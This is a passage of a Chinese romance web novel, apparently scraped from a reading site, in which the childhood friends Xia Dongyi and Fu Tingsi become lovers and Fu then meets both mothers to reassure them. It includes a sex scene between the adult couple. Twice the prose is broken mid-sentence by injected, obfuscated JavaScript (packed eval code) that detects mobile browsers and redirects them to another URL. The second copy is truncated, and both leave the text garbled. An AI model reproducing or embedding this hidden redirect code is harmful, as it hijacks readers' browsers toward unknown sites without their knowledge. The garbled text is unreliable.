高中以后,傅亭斯更忙了,开拓越来越多的兴趣,从科学实验到体育比赛,从机器人大赛,乐高模型赛事,到游泳、乒乓球、篮球,再到架子鼓街舞,几乎每年开启一个新旅程,寒暑假就成了他每年最繁忙的比赛打卡期。即便如此,他依然还是抽出时间和夏冬意跑出去看世界。 高考,夏冬意失利了,傅亭斯暂缓了出国计划,整个复读的这一年,都有他全程陪伴,他为夏冬意指定了严格的计划,收起了她那些小爱好小娱乐,自己也推掉了很多的活动和比赛,陪她熬。为了让她重燃希望和捡起信心,傅亭斯问她有什么愿望,可以在高考结束之后满足她。夏冬意想了好几秒说,之前一直有个愿望,想在成年的时候骑行西北环线,只可惜这一年没有如愿。傅亭斯说,好,那就等你高考结束,我和你一起去,就当是送我们自己的成人礼,虽然晚了一年,但对我们而言,也不晚。 高考结束,正是青海最美的时节,他们花了半个月时间做了充足的准备,光是路线规划,傅亭斯就备了好几个方案,物资的准备列了好几张清单,并有意错开了夏冬意的生理期。那是一段让他们两人终生难忘的旅程,也让夏冬意见到了书上所描绘的世界真正展开在眼前的真实感,感受到了天地的广阔,来自自然的洗礼。 永远难忘他们追着日落跑的身影,蹲在车边形象全无喝着水,拿着干粮大口嚼着,被紫外线晒的黢黑,牙齿白的反光,像两个流浪汉一样,可心却是自由的。一路上,他们同风斗,同雨斗,同日光烈焰斗,无拘无束,放浪形骸,放声歌唱,快乐似乎是很简单的一件事,那是最纯粹的一段时光,也是最让人怀念的一段时光。 一个多月以后回到家里,父母都认不出来的程度,夏冬意在家里养了将近两个月,才把肤色慢慢养回去。在日后很多个夜晚,只要她一闭上眼睛,都会想起那沙漠,那原野,那山海湖川之间,漫天的繁星,散落天际。 傅亭斯送给她的成年礼,是她收到的,最珍贵的礼物。 但她却始终不敢有任何逾越的想法,怕玷污了这份纯粹的,美好的感情。 直到这一刻,他说出了二十年这三个字。 缓了好几秒,夏冬意才迟疑的,伸出手去,想去解开侧边的安全带纽扣,旁边的手比她动作更快地按下了开关。 夏冬意指尖措手不及触到他坚硬的手背,黑暗的车厢里,脑海中莫名其妙跳出来一只爆满青筋性感的手来,夏冬意莫名的呼吸一窒。她见过他最性感的样子,可却从来没有往别的不好的方向去幻想。或者说,不是没有,而是不敢。 那是危险的。在成长的过程中,她无数次这样警告过自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926780|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己。 从来没有觉得傅亭斯帅,那不过是她自欺欺人的说法。试图那样催眠自己,才能打消那些不受控制的想法,不可遏制地涌现出来。 夏冬意想起来,其实从上小学开始,她最讨厌做的事情,就是帮扶亭斯送情书了。那几乎已经成了条件反射的生理性厌恶,都快送出来ptsd了。但没有人知道,她一直掩饰的很好。从小到大,谁都没有,也无法将她和傅亭斯联系到一起。因为她从小就那么优秀,是老师和同学眼里的乖宝宝,这样的她怎么可能看得上傅亭斯,也正如她表现出来那样,她根本不可能把傅亭斯放进眼里。 “下车吧。”傅亭斯抬起眼睫,看了眼她,温和的说道。 夏冬意攥紧手指,微垂着的睫毛轻轻扇了扇,没有说话,转头拉开门出去了。 夏冬意先下了车,没有等傅亭斯的意思,转身朝里面的电梯门走进去,电梯直达房子一楼,拐角放着一张红木转柜,一只鎏彩金丝镶边花瓶放在上面,一束海棠果和金色的麦穗插在里面,后面是锃亮光滑的铜墙,金光闪闪,这审美一看就不是年轻人的品味,夏冬意每次经过的时候都忍不住在心里吐槽。 但这次,夏冬意分不出闲心,光洁的墙壁如同镜子,映出那道颀长的身影,与此同时,脚步声在她身后响起,一只大手很快将她揽了过去,温热的呼吸喷在她的脸颊和脖颈上,那人暧昧的,宠溺的,在耳边说道:“这么着急跑出来,车门都忘记锁了。” 夏冬意心神一晃,正要挣脱开他的束缚去锁车门的时候,傅亭斯托起她的后脑勺,稳住她道:“不急……现在,还有比这更重要的事情要做……” 他的声音低了下去,喉结轻滚着,头也低下来,和她几乎抵在一起,声息也变得急促起来,夏冬意一颗心跟着狂跳不止,她慌乱又无措,很想说点什么做点什么,阻止后面即将发生的态势,情急之下结结巴巴开口道:“我……我还没有……没有和好朋友试过……”她吞咽了一下口水,艰难地吐字:试过这种……” 傅亭斯停下动作,大概是被她的言论震了一下,反应半秒,他忽地轻笑了一声,饶有兴致地问道:“你说的是哪一种?” 夏冬意脸红的像猴子屁股,头一次发现自己嘴笨的可以,但还是要怪傅亭斯,都认识这么久了,连那么点小拇指盖的默契都没有吗,还有哪种?他到底在想什么啊? 她不说话,傅亭斯也不说话,好整以暇欣赏着她的表情,夏冬意很想推开他,然后说不玩了,但他力气实在太大了,牛一样的力气,根本捍动不了分毫,只能狠狠瞪过去:“你这人真的很禽兽,我以前怎么都没发现。” 傅亭斯笑了,头更低下来,气息捕捉着她的唇舌,嗓音更压低了,气音似的,问她:“哪种,这样?”在她唇上啄了一口,接着,轻咬一口:“还是这样?又或者,”他含笑着,那种漫不经心的样子,有种又欠又坏却很斯文禁欲的气息扑面而来,“你说的是别的?” 还没等夏冬意反应过来,他说的“别的”是什么意思的时候,傅亭斯摘下金丝护目眼镜,偏过头去,将她压向柜子,在她的后腰即将撞到柜沿的时候,一手护在了那里,柜子撞在他的手背上,发出咚的一声沉闷的响声。 混乱,伴随着意乱情迷,在空气中发酵,他的舌尖肆意游走在她的口腔里,纠缠。 情到浓处,她被傅亭斯托抱到柜子上,他在她耳边说:“暂时把朋友的身份抛掉,就让我们以恋人的身份,重新开始吧……咚咚,不是我给不起,我怕你承受不住我的热烈和滚烫,把你吓跑了,但是你说,你想要那样的时候,我就放心了。”他呼吸急促,停了一下,继续亲着她,一边亲一边在她耳边低喘着说:“这辈子,下下辈子,永生永世,傅亭斯只属于你一人。” 夏冬意胡乱地靠在他身上,胡乱地攀着他的肩膀,胡乱地点着头。心里想的却是,大概没有人告诉过傅亭斯,他那一边和她接吻,一边说话的样子,有多诱人。 这世界上,应该也只有她一个人知道。 43. 小狗不听话 人在全心投入一件事的时候,能真正得到纯粹的快乐。所有念头、声音都飞了出去,大脑里空空如也,只有沉浸在当下。 那些曾经对他的批判,审度和怀疑统统消失,美的,好的,欣赏的,信任的一切就自动地升了起来。 在傅亭斯说出这句不似承诺,更像承诺的话时,夏冬意无需借由大脑这台扫描机,带着怀疑和猜测,判断这话背后,到底是真心还是假意,迟疑在这一刻全都消失。 她知道他是发自内心,即便他什么也不说,在这刻只简单说一句“我爱你”便胜过一切,夏冬意就是会无条件相信,仿佛和那个平时的她抽离。她明白,这一刻的她才是脱掉了外壳,真实的她。 傅亭斯不是一个花言巧语口腹蜜剑的人,也从来不说那么多话,向旁人解释自己的动机,他说这些只是愿意告诉她,让她明白他爱她这个事实。许多时候,爱意会被假象蒙蔽,而这一刻,夏冬意终于清楚地看到了。 他的爱一直都在那。 他也一直都在那。 一切都是那么的水到渠成,就如同在适合的季节播撒下应季的种子,让它们在这片得天独厚的黄土地上自然地生根发芽,结出种子孕育而生。也如同她和傅亭斯的感情,没有经历过太大的波折,自然而然,水到渠成。 成长过程中的烦恼,磕绊,流下的眼泪,生的委屈,冲突矛盾,虽然稍许不平,可也跌跌撞撞地走到了今天,而过去那些不平,也在关键时刻,成为了这段感情的助推和燃料。 倘若没有这一切的铺垫,感情就显得太肤浅,太空洞,太虚幻,如空中楼阁般,迟早崩塌。 后来是怎么到得床上的,夏冬意迷迷糊糊,衣服被扯的乱七八糟,她见到了傅亭斯那鲜为人知的一面,认识这么多年,这是第一次,如此真实,近距离的,坦诚相见。 一抬头就看到摘骆的衣服下面,他胸前的吻痕,星星点点。 “把灯关了吧。” 夏冬意闭了闭眼睛,和熟悉的人做亲密陌生的事,她还是害羞,身体像水煮虾,红的彻底。 傅亭斯起身关灯,夏冬意仰起头来,扫过他挺拔的背骨脊梁。那宽阔流畅的肌肉线条,透露着力量,张弛性感。 平时穿着衣服,真看不出来这么有料,只有穿衬衣的时候,还能隐隐窥探到几分。 夏冬意很少关注他的身材,就像自己拥有的东西不懂得珍惜一样,即便这人有时候骚包起来,会给她看他练的有多好,事实上,傅亭斯并不喜欢露身材,大夏天里都从不打赤膊的人,却愿意分享给她。夏冬意却只觉得他奇怪,为什么对她百无禁忌,真拿她当兄弟看了。 黑暗里,夏冬意听到撕包装袋的声音,不过会儿,一个温热的声音靠到耳边,声息带笑,亲昵道:“在紧张吗?” 她想嘴硬说没有,旁边那人又是一阵轻笑,抚开她额前汗湿的发:“再僵下去,我没法动。” 这是什么危险言论,夏冬意害臊的想,她人发烧一样的烫着,憋了半天,才嗫嚅一句:“你、你离我远点……别那么近……”我喘不上来了。 昏暗里,傅亭斯眸光透亮,沉沉注视着她。 夏冬意抬起眼,仿佛掉入星汉银河,让她想起了多年前的青海湖。 滚动着喉结,傅亭斯舔了舔唇角,低沉笑着,脸埋下去,嗓音沉溺:“这个我不答应,还有别的没有?” 不等她说话,吻密密麻麻落下。 化进水里,无数个念头飞掠过去,浮在尘埃里。她含糊道:“……想听你唱歌……好久没听了……我有……要求,嘶……气息不能乱,唔……” 后面的声音近似啜泣。但傅亭斯还是听清了。她说,气息不能乱,要稳。 傅亭斯气笑,轻舔了舔牙齿。每次他露出无奈又好笑的表情时候,都会有一个小动作。喜欢先眯一下眼,鼻梁太高,眯眼的时候鼻梁也会跟着轻轻皱一下,这是他的一个小习惯,他自己不知道的,有多性感,夏冬意很喜欢。 他双手握着她的肩膀,目色黏稠望着身下的人儿:“这不亚于在青藏高原唱歌,能给我唱到高反。能唱就不错,你还要求这么多。” 这种大聪明的要求也只有夏冬意能想得出来,可傅亭斯就是吃她这套。 “我相信你。”夏冬意盈亮的眼神,透着一股狡黠捉弄的光,学着他的模样,轻舔过唇瓣。 傅亭斯直觉喉口发痒,复低下头去,啄住她的唇,气息缠绕:“你想听什么?” “那就唱青藏高原吧。”夏冬意偏侧头,躲开他。 迷雾般让人窒息的眼神,性感的喉结,精致如艺术品的肌肉雕刻线条,一呼一吸如此的熟悉,在眼前铺展开来,是如此的陌生,却是真实地呈现出了他的爱和欲。 让人想展开双臂,与他一起。 于是夏冬意也真这么做了。 有晶莹的泪光在她眼底生发,傅亭斯俯身舔去。她那么怕痛的一个人,他是知道的,把她弄痛了是一件很麻烦的事情。对他佑踢又打又咬,也只能一声不吭受着。 爱一个人的时候,即便为她所受的苦痛也都是甜的,那点疼痛又算得上什么呢? 歌是在最后时刻唱的,俯身在她耳边轻喃,唱的还是一首英文歌《Crush》,配上他慵懒温柔的声线,非常符合当下的情景,随着节奏的进发,像催情曲。 夏冬意是真的没想到,这人能骚成这样,这歌听得她不能自已。她疼的嗷嗷乱叫,却觉得从未有过的爽快,傅亭斯的后背惨不忍睹,肩上也留下了痕迹。 事后,她窝在他怀里,汗涔涔的,也不舍得分开。夏冬意抓着傅亭斯的手,在手心里划拉几笔:“你知道禽兽两个字怎么写的吗?” 傅亭斯还有些意犹未尽的样子,捏着她细软的腰肢,懒洋洋笑道:“嗯,我是禽兽。” “你知道就好。”夏冬意嗓音哑哑的,软绵绵的,没什么力气,抬眸瞥他一眼。 这一眼把傅亭斯看得又受不了,手上的力道加重了几分,但他也知道不可能再有第二回了,从小娇生惯养这姑娘,他都不敢使出全力,怕她又疼的嗷嗷叫,刚刚那会儿她还趴他怀里跟他撒娇说骨头都散架了。 像是为了转移注意力,傅亭斯调笑着将后背转给她看:“我这个禽兽,我把自己咬成这样。” 看到他身上伤痕累累的罪证,夏冬意咯咯轻笑起来,故意说道:“是啊,不是你自己咬的吗?” 傅亭斯将她重新抱进怀里,现在终于可以这样心安理得的抱着了,这个细皮嫩肉的姑娘,她有多娇,只有他知道,终于把是他的了。 他嘴角勾着清浅的笑容,承认道:“是我咬的,下一次希望咬的再凶一点,没关系,我受得住。” 夏冬意耳朵都红了起来,闷头往他怀里钻,轻捶了一下他胸口:“你还想有下一次。” 傅亭斯顺手扣住她的手,按在怀里 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“你别给我岔开话题,”郁吱吱嘿嘿贼笑道:“你自己知道我在说什么,姐们,你就别瞒着我了,是不是开荤了啊?” 夏冬意是真想不明白,郁吱吱难道开了天眼,她怎么知道的? 郁吱吱继续在她耳边嘀嘀咕咕着:“看你这神态我就知道,快告诉我,傅亭斯行不行啊?他看起来就很行的样子,怎么样怎么样,你验过货了没?” 夏冬意一下就想到了昨晚,脸颊莫名其妙发烫,拿手轻轻贴了贴,她用余光往四周围扫了一圈,这会儿已经快走到公司门口,有陆续的同事打她们身边经过,夏冬意羞涩一笑,然后非常快速地冲郁吱吱点了点头。 “非常行。” “草草草!”这一下给郁吱吱整兴奋了,“从你嘴里能听到这个行,看来你老公真的很有两下子啊哦哟,我的天,羡慕死我了,姐妹,你真的不知道你吃的有多好啊。” 夏冬意眨了眨眼睛,十分诚实地说道:“昨天我知道了。” 两人聊完天,相继回到自己工位上。 夏冬意打开电脑,扫了眼桌上的便利条时,想起今天早上傅亭斯随口提了一句,他晚点要和她妈妈见一面。 这个问题早上他们简单讨论了一下。夏冬意想直接跟母亲讲清楚,她跟傅亭斯已经和好,不用劳烦大人出面了。但傅亭斯却说这一面有必要见一下,一来是为了让她母亲放心,再来如果什么事情都处处让老婆出面的话,显得他太不重视了,岳父岳母会咋想呢。 他考虑这么周全是夏冬意没有想到的。 一下子有一种,当初那个和她打打闹闹的男生,长大成熟的感觉。 夏冬意从未想过,傅亭斯会是她可以托付终身的良人。 就在他不经意的说完这番话时,夏冬意打心底,没来由地生出了一丝感动。 幸福和温暖,就在某一刻,这样具象化地呈现在她面前。 她忽地想起,曾在哪本书上看到过:最平淡不过一日三餐,最幸福不过爱你的人始终都在。 夏冬意仿佛也慢慢明白过来,她对傅亭斯并不是毫无心动,而是在这漫漫时光里,已经习惯了有他陪伴左右,从来不怕失去,所以无所畏惧,而这正是她爱的表现。 她拿过了手机,打开微信聊天界面,郑重地打下两个字:加油。 顿了顿,删除。 重新打字:我们一起加油。 发给了傅亭斯。 44. 小狗不听话 上午十点,傅亭地驱车离开公司,前往江笑颜和葛楚微逛街的商场。 昨天江笑颜和傅亭斯计划好今天见面的时间,自己也忘记已经和他母亲提前约好了今天一起逛街,临时再变更时间,双方都不好说,索性择日不如撞日,一块吃个饭把事情都说开。 江笑颜情同姐妹,两个小的闹别扭的事自然也不会同她隐瞒,葛楚微一听要离婚,当即就炸了,一通电话就打到了傅亭斯这。 傅亭斯当时正在开车,他开车有个习惯,除了夏冬意及其父母,和家里人之外,非必要不接电话。见是母亲,就接了起来。 劈头盖脸就是一顿骂:这事要是被你爸知道了,看他饶不饶过你,你和咚咚,你们两个从小一起长大,她的性格你最知道了,你怎么还能做出这种事来气她,你江姨和夏叔拿你当亲生的一样,傅亭斯你怎么这么没良心啊你,你要不把咚咚哄好了,这家你也别想回了。 傅亭斯也不懂他妈从哪里听来的,他做了什么对不起咚咚的事情?他自己都不知道。 他并没有袒露太多,淡声道:“我们没有要离婚。” “那你江姨怎么说……”稍一停顿,葛楚微说道:“我不相信。” “您自己的儿子还有不相信的?” “你骗我的事还少吗?发生了这么大的事你都能瞒着我和你爸,要不是你江姨告诉我……” 傅亭斯揉着眉心,听母亲数落完,说:“妈,我快到了,你和江姨稍等会儿。” …… 十多分钟以后,傅亭斯推开包厢门,向两位长辈问了好,随后在江笑颜另一边落座,拿过服务生递来的菜单点餐。 在家里一般点餐的任务都是落在小辈头上,虽然在外面吃饭,酒桌上点餐从来不会劳驾傅亭斯安排,但外面是外面,,家里是家里,点餐看似简单,其实是最难的,每个人的口味爱好都不同,要让中众口难调的每个人都夸不绝口是非常需要水平的。 傅亭斯从小在这样耳濡目染的环境下成长起来,点餐也是楚了名的,他人聪明,基本上跟人吃过一次饭就能掌握每个人的口味,这也是父亲对他锻炼的结果,从小到大,家里只要举办大型聚会,点餐和幕后的任务一应包给他。 也因为这样的锻炼,傅亭斯从小就人精,情商高,有服务意识,协调能力强,是团结和聚众人心的一把好手,独当一面,心态强大,情绪稳定,是天生的管理者。而这些缺早就已经刻进了他的骨子里。 三人闲聊几句后正式进入话题。 “小斯啊,”江笑颜品着茶,语重心长道:“你们的感情问题,我们做大人的本不应该过多干预,你爸和你夏叔我们都还瞒着,你也知道这要是被他俩知道,今天就不是坐这喝茶谈话这么简单了。” 傅亭斯垂眸点了点头,听江笑颜继续说:“但如果真闹大了,肯定是纸包不住火。我听咚咚的意思说是,结婚只是权宜之策,刚我和你妈商量了一下,就看你的态度,我们尊重你们的选择。 “傅亭斯,我告诉你,你可别给我整出什么乱七八糟的事情出来,我今天就把话撂这儿了,我和你爸认定的儿媳妇就咚咚一个人,外面那些莺莺燕燕的,你要是敢给给我往家里面带,看你爸打不打断你的腿。” 葛楚微越说越激动,猛烈地咳嗽了几声,江笑颜拍着她的后背,说道:“你也别激动,具体什么想法,还要听小斯自己说。” “肯定是他不对,咚咚肯定是自己说不出口,才把责任都往自己身上揽去的,咚咚这孩子性格我知道的,善良单纯没心眼子,我家这个你别看他斯斯文文的,八百个心眼子还嫌少,没准儿啊他自己做错了事,还cpa咚咚呢。” 葛楚微也不知道哪儿学来这么个词儿,不管不顾地往她亲生儿子身上套,当真是一点信任感都没有。傅亭斯在心里默默叹口气,也不知道该说些什么好了。 当初得知两人结婚,葛楚微夫妇两人喜不自禁,千盼万盼终于是把咚咚盼进了家门,没想到好日子还没过几天就听说闹着要离婚了,这还不把葛楚微给气死,脚指头想想也知道问题出在谁身上。 她这个儿子有多照耀她做母亲的自然也是知道的,从小到大桃花不断的一个人,卖相是不错的,性格也还算随和,但由于他们做父母早就有儿媳候选人了,别个的都看不上眼,葛楚微更是从小就对他三令五申:男孩子要克己复礼,要有道德底线,喜欢就去追,不喜欢就拒绝,不要黏黏糊糊的关系,男人最重要的就是担当和责任感,虽然妈妈不赞成早恋,但是如果你和咚咚早恋的话,爸爸妈妈绝对举双手赞成。 所以小时候夏冬意经常往他家里跑,都是被双方家长允许的。只可惜这两个小孩自己不来电,他们做父母的再忙活也没用。 好在经过葛楚微不谢的教育和努力下,他这儿子还算没有让人失望,克制守礼,原则底线,担当责任,这些都被打进了他的骨髓里,尽管桃花旺,却从来不多情,对感情更不拖泥带水,甚至于说,对待感情他是有些冷情的。有些事情她做母亲的也是听过一些的,几乎每个阶段都有女生倒追他,追的最狠的一个,当初从国内追到了国外,追了整整三年,被傅亭斯拒绝过不下十次,却还是不肯放弃。后面是怎么让她放弃的,倒是没听说,傅亭斯自己也断不可能会讲。 这些事情葛楚微都知道,想来夏冬意也不可能不知道。葛楚微最担心的的也是这点,尤其是结了婚之后,身边的例子也见的不少,男人有钱有地位,长得稍微好看一点,如果情商还高,那绝对是会引来大把的女人往他身上扑的,这就像一颗定时炸弹,随时都有可能爆炸。 好在她这儿子的品性,葛楚微还是放心的,他的社交圈一向干净,同一阶层的那些富二代的圈子他是从来不混的,也讨厌那种乱七八糟乌烟瘴气的社交,常年都是那么几个人,交好的十个手指都数得过来,这在江市同阶层的富二代里是非常少见的。 但其实,真正有事业心的,就和傅亭斯一样的。一心都扑在工作和事业上,哪儿有什么闲心放在别处。 但凡他有一丁点的花花肠子,这么多年来身边的异性也不会只有咚咚一个了。 母亲数落他的时候,傅亭斯显得异常平静,垂着眼听完两位长辈的话后,沉吟数秒,抬起头望着两人,认真鉴定道:“江姨,妈,我和咚咚之间存在一点误会,昨天我们都谈过了。” “谈的怎么样?”江笑颜和葛楚微双双向前倾身。 想到昨晚,傅亭斯垂眸抿了抿唇,像是在用力压住唇角,而后抬头看向两人,不露声色道:“我们不离婚。” 再次对上两人既惊讶又夹杂着欣喜的疑惑眼神,傅亭斯缓缓说道:“从始至终我都没打算离婚,江姨,妈,我从来没有做过对不起咚咚的事情,我和她不是闹着玩,也不是权宜之计,更不是奔着离婚去的,是我真心实意求她的,。即使她想离婚,我也不会同意。” 葛楚微还是不太明白:“你的意思是咚咚想离婚,你没答应,既然有误会,你就好好跟她讲啊,为什么会闹到要离婚的地步?” “这确实是我的问题。”傅亭斯低声说道。 斟酌片刻,他决定坦诚交代始末:“一开始咚咚来找我商量结婚,她的初衷很简单,为了应付家里,不想相亲,和我约定为期一年再离婚。我很心动,了解到是这个理由后没同意,我希望她是因为喜欢我,而不是这样的理由。但后来……想到如果到头来她还是会选择和别人做这场交易,那还不如和我。她一直认为是假结婚,但我当真了。” 傅亭斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“还记不记得她大二那年周末假期没回家,是个冬天,晚上突发肠胃炎,在朋友圈问学校医务室有没有人,还屏蔽了我和她爸爸,就怕我们担心,后来还是你打电话告诉我们的。这样的事情这二十年来发生的还少吗?我们咚咚啊,被我和她爸爸保护的太好太周全,从小就不缺人爱,感情上不怎么开窍,因为周围人都太爱她了,多一个你少一个你,她都没觉得那有什么特殊性,还要嫌弃你这也不好那也不行的,其实她自己不明白有多依赖你,你要是发生点什么事儿,她比谁都急,昨天晚上你朋友一个电话打给她,你都没瞅到她那样子,饭都吃不下直接赶过去了。感情这事儿啊,她还是个初学者,懵懵懂懂的,自己都搞不明白啊,小斯啊,你要多体谅体谅她,多包容一点我们咚咚,辛苦你了。” 傅亭斯垂着头,喉结上下翻滚着,过了好几秒,低哑道:“江姨,能和咚咚结婚是我想也不敢想的,您能放心把她交给我,是对我最大的厚望和信任。婚姻这门课,我也是初学者,我会和咚咚一起成长学习。”就像他们过去走来的每一步一样。 “真好真好,”江笑颜连连点头,“我就说我的眼光不会错,小斯是我们从小看着长大的,错不了。” 踩端上来了,服务生走后,葛楚微开口了:“这不是什么难以启齿的事,你怎么早不告诉咚咚?” “我……”傅亭斯张了张嘴。 曾经有无数次机会摆在眼前,让他可以开口,但是,爱让人生畏。 年少者的自尊和骄傲让他难以启齿,害怕被拒绝,害怕连朋友也做不成,因为珍重才显得小心翼翼。 他那么骄傲的一个人,在感情面前也会无端生出自卑来。 只能将这深厚的感情闷在心里,岁岁年年的等待和守候,直等到干枯腐朽的那一天。 那些曾经走来的压抑痛苦和孤独时刻,是没办法与任何人敞开了讲的,能讲出来的,一定是不够厚重的。就连稍提一下也会牵扯出心口的疼痛,今天如果不是情非得已,以他性子也断不可能和盘托出。 “好了好了,”江笑颜轻拍了下葛楚微的手:“我们做大人的还是放手让他们自己解决把,我相信孩子们有能力处理好的。” 吃完饭,江笑颜和葛楚微还要继续逛街,傅亭斯同她们分别后想起一件事。 差点忘了。 随即将车调转方向,去了程子衡的店里。